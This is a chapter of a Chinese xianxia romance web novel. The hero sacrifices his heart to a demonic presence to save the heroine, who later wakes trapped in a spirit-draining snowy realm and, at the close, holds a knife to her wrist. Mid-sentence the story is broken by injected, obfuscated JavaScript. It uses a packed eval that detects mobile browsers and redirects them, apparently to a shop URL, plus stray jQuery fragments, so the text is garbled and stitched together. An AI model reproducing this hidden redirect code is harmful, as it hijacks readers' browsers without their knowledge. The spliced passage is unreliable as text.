73. 第 73 章

作品:《我的任务到底是什么

    宋守竹悬空背对着叶循,数十柄剑从他胸腹穿过,剑尖从脊背透出,腥红的鲜血顺着剑尖流下。


    手腕上的紫珠绒显形,连接到叶循手上。


    身体里的力量在流逝,他几乎要跟不上白虎的步调,要依靠紫珠绒的拉扯。


    又有数柄剑刺了过来,他全都挡了下来。


    视线开始涣散,耳朵里也像塞了棉花,他强迫自己打起精神,叶循还没有逃出生天,他不能掉以轻心。


    他没有哪一刻比现在更渴望强大,没有哪一刻比现在更痛恨自己的弱小。


    若是他足够强,他就可以为她兜底,善也好,恶也罢,让她去做任何她想做的事。


    若是他足够强,便能免她奔波,免她辛苦,动动手便能将她想要的一切捧来她面前。


    若他足够强,便不用如此捉襟见肘,想要护她,只能用自己的性命来护。他的性命只有一条,只够护她一次。


    又有新的剑插入,他已感觉不到痛了。


    心中只有浓烈的不甘,为何,为何爱她的是这样一个弱小的他,若是旁人,任何一个比他强的旁人,都能为她做更多。


    他能为她做的,就只有到这里了么?


    「想要护住她么?」一个清晰的传音在脑海响起,宋守竹混沌的眼神重新聚焦了一瞬。


    「你明明可以比现在强得多,是你不肯。」


    “你是谁?”他嘴唇张阖,只发出残缺不全的气音。


    「你我同族,你早就知晓了,不是么?」


    宋守竹的眼睛眨了下,“你想要什么?”


    「你的身体。」


    “你想做什么?”


    「你再犹豫,你想保护的人,就要死于旁人剑下了。」


    宋守竹一时没答话。


    「你不想再见到她、触碰到她了么?」


    宋守竹的眼睛又眨了一下。


    阿循喜欢好人,身体交出去,便做不了好人了。


    她的哭喊穿入耳蜗,夹杂着一声些微的抽气声。


    她受伤了,只靠他,护不住她。


    她喜欢好人,可是好人护不住她。


    那他便做个坏人罢,哪怕她会讨厌他。


    紫珠绒隐去,他被甩开了距离,撞上两个修士,被他们踹远了。


    “没有心,你也可以活吧?”他几乎无声道。


    「你问这个做什么?」


    “回答我。”


    「可以。」


    宋守竹看了一眼白虎的方向,如同一片轻飘飘的红叶在迷雾中穿梭。灵剑从他身体退出,要飞回那些修士手上。


    他用尽最后一丝灵力,借着那些剑口,伸进自己的胸膛,将自己的心掏了出来扔进海里。


    一只水怪立即跃出,一口咬碎吞了下去。


    空荡荡的胸口有风穿过,疼痛都变得很缥缈。宋守竹脸上扯出一个安然的笑,“身体给你,你来吧。”


    化生阵中的石块只剩一个拳头大小,启阵修士只剩十余人守阵。


    “这边没什么事了,咱们也去追杀女魔头吧。”


    “嗯,这救世的功绩,咱们也该添上一笔。”


    “走!”


    “走!”


    几人意气高昂,向前飞去,未曾注意水下有长影聚集。


    “哗啦”水花飞溅,面目嶙峋的怪物跃出水面,长着巨口露出尺来长的利齿。


    修士立即御剑砍杀,妖兽竟不要命,任由利剑穿透它们的口腔,也要继续向前,咬着修士落入水中。


    血型腥鼻的海水灌入口鼻,修士御剑来回刺穿妖兽,竟未能让它们松口。


    更多的妖兽游来,将他们连同自己的同族一同撕咬扯烂。


    穿梭的利剑骤然停下,直直堕入海底,插进淤泥中。


    化生阵白色的法光黯淡到几乎不见,最后彻底熄灭。


    最后一块石头飞了出去,如离弦之箭,精准地没入了宋守竹的胸膛。


    已闭上的双眼骤然睁开,黝黑的眸底透出血色,身上的血肉迅速生长,被刺穿的血洞飞速愈合成臌胀的肌肉。


    一只四爪巨鹰飞近,他转身轻飘飘落到它背上。


    他扔掉了御瘴服,破烂的玄色衣袍无法包裹他的皮肤。他张开双臂,微微仰头,深吸了口污浊的瘴气,又缓缓吐出,没有咳嗽,没有任何的不适。


    “啊……”他发出一声满足的喟叹,迎风飘荡的红色发尾如烈焰焚烧。


    *


    叶循身上又多了几道伤痕,左肩被一柄灵剑刺穿,甚至穿入了白虎的皮肉。她无数次试着调动体内灵力,紫府却像干涸龟裂的枯田,挤不出一滴活泉。


    她朝四周茫然地张望,怎么也找不到宋守竹的身影。


    视线一次次模糊,有液体沿着她的眼角流出,落到白虎身上,与血液混为一体。


    哭没有用,软弱没有用。


    快想办法,想办法脱离眼前的困境,想办法去救宋守竹。


    她拔掉身上的剑,翻找乾坤袋,将所有的毒药蛊虫都掷了出去,将所有能用的法器都用了。


    她是人形生物武力值天花板,只要是人形,她都打得过,这些修士远不是她的对手。


    她强迫自己宁心静气,尽快恢复灵力。


    可是每次触到指间黏腻的液体,便会使她分心。


    他那么弱,他不是他们的对手,她通过紫珠绒感受到他生命力微弱,他凶多吉少。


    悲伤没有用,情绪没有用,她强行放下闸门,拦着自己情绪的洪流,不让它们泛滥崩溃。


    她还有什么可以用,她还有什么办法可以想,她不能认输、认命,她还要去救宋守竹。


    突然,她感到宋守竹的生命力猛的增强,几乎灼烫到她。


    发生了何事?


    叶循眨了眨眼四顾,便见海面骤然炸出百丈巨浪,又霎时冻成坚冰。


    数个手持灵剑正要刺向她的修士被冻在了冰中。


    白虎绕过了巨浪的坚冰,毫不停留地向前奔去。


    “咔嚓”,坚冰碎裂,其中冻住的修士也碎裂成肉块,落入海中。


    是谁?


    凛然的威压自空中传来,叶循看不到,只能感受到一双令人不适的视线。


    要杀她么?


    然而,那视线很快消失,追杀她的人也尽数消失。


    她方要松一口气,海面再度掀起巨浪,白虎朝高处跑去,巨浪一层接着一层,将白虎次次打落。


    叶循感觉到了白虎的吃力,“解开捆仙索,你走吧。”


    白虎喘着气道:“吾不弃主。”


    叶循:“你带着我逃不出去,你逃出去,才有办法来救我。”


    “吾主……”


    “这是命令!”


    白虎回头看她,叶循道:“不知何方神圣在此,TA若要杀我,一早可动手,TA迟迟不动手,便是有顾虑。辛苦你,一定要逃出去!”


    白虎埋头,“是,吾主。”


    捆仙索解开,白虎奋力跑开,叶循落入了海水中。


    海水漫浸伤口,如有千百条虫蚁在啃噬血肉,叶循疼得眼前一黑,她咬牙忍着,开始摆动双臂,朝白虎相反的方向游去。


    没有灵力,她游得如同在现实世界中一样,缓慢而吃力。


    巨浪一波波涌起,像一片树叶裹挟一只蚂蚁,她在浪潮间艰难沉浮。


    腥苦烧心的海水灌入口鼻,她几乎要溺毙。四肢酸重,终于使不上力气。她的眼皮合上,身体开始下沉。


    *


    叶循在一片虚无的黑暗里,感受到紫珠绒那头灼烫的生命力。像一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404209|196244||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    团火,烘烤着她的灵魂。


    她追着那团火跑,却始终辨不明方向,靠近不了。


    不知追了多久,她终于惊醒,睁开了眼皮。


    入目是碧蓝的天空,有竹叶与雪花在空中飘散。


    她撑坐起来,发现自己躺在一只小船上,这里是一个平静的湖泊,湖边有大片竹林,岸上已是雪白一片。


    她试着调动灵力,身上的伤都好了,紫府却依旧干涸。


    血刃、彤弓、白虎、六害和神龙她都召唤不出来,唯一还能感到联系的,便是连着的紫珠绒,和另一头强盛炽热的生命力。


    只是她仍催动不了,没办法到宋守竹身边去。


    她试着用紫珠绒传音:「宋守竹,你还好么?」


    也不知道有没有传过去,他能否收到。


    身上的衣衫被人换过,皮坎肩不见了,只剩一身单薄素衣。给她换衣服的人不知是有意还是无意,连鞋袜也没给她留。


    她看了眼腕间倒计时,10分12秒,还在正常跳动。


    没有灵力,她觉着冷,只能拿了船桨,朝着岸边划。


    竹林中有个小院,她上岸便进了小院。


    屋中生活用具一应齐全,整洁干净,却不见一个人影。


    她又出门看了看,四周广阔,不见有另外的房屋。


    叶循想了下,在雪地上画了个聚灵阵。


    等了会儿,还是一丝灵气也无。


    她被冻得跺脚,赶紧跑到厨房灶膛里点了火,取暖的同时,烧些热水。


    水烧好了,她倒了些进茶壶,又倒了些进木盆,打算泡个脚。


    泡脚前,她在卧房的衣柜里找到一双崭新的绣鞋,看大小应当正好合适她穿。


    她拿着绣鞋放到盆边,开始泡脚。


    双脚泡在热水中,又喝了口热水下肚,总算是活过来了。


    叶循往后靠在竹椅上,开始整理思绪。


    石像应当已被除去,珊瑚群岛的修士联手追杀,是想趁她病要她命。


    那么后来除去他们的人又是谁?


    为何不连她一起杀了?


    她如今身处此处,灵力丝毫没有恢复,周遭也感觉不到一丝灵气,跟那个人有关吗?


    她是被困住了么?他为何要这样做?


    热水转凉,叶循擦了脚穿上鞋,把洗脚水倒到了院子里。


    雪停了,她决定再出去走走。


    四周白茫茫一片,她深一脚浅一脚走在雪里,绣鞋时不时还会掉。


    她原本的鞋是一双极方便打架的小皮靴,她此刻分外想念它。


    手腕上金色的竹纹手镯,以及腰间的白鹿玉佩、乾坤袋都完好无缺,叶循更加肯定,给她换衣服的人怕是故意不给她鞋袜。


    天上没有太阳,空中没有风,女子白发白衣,在茫茫雪原上踽踽独行。


    绣鞋很快被雪浸湿,又开始冻脚。而她仿佛身处一个无边雪原里,除了那片竹林、那个湖泊、那个小院,再没有其他东西。


    叶循回到小院,又到厨房烧火,烘干自己的鞋。


    她如今非常确定,自己是被困住了。


    这里应当是一个特别的空间,隔绝了灵气,抑制了她恢复能力。


    是谁会这样做?


    抑制她,困住她,却不杀了她。


    是不在意她的死活,还是不想她死?


    如此思索着过了几日,又朝四面八方、甚至水中都探查过之后,叶循坐在厨房的门槛上望着院中的白雪发呆。


    不一会儿,她站了起来,转身进了厨房,到案板边,拿起那把她一掌多宽的菜刀,将刀刃放在了自己的左腕上。


    -「阿循,我没事。」


    宋守竹的回音传来。


    -「你呢?你可还好?你在哪里?」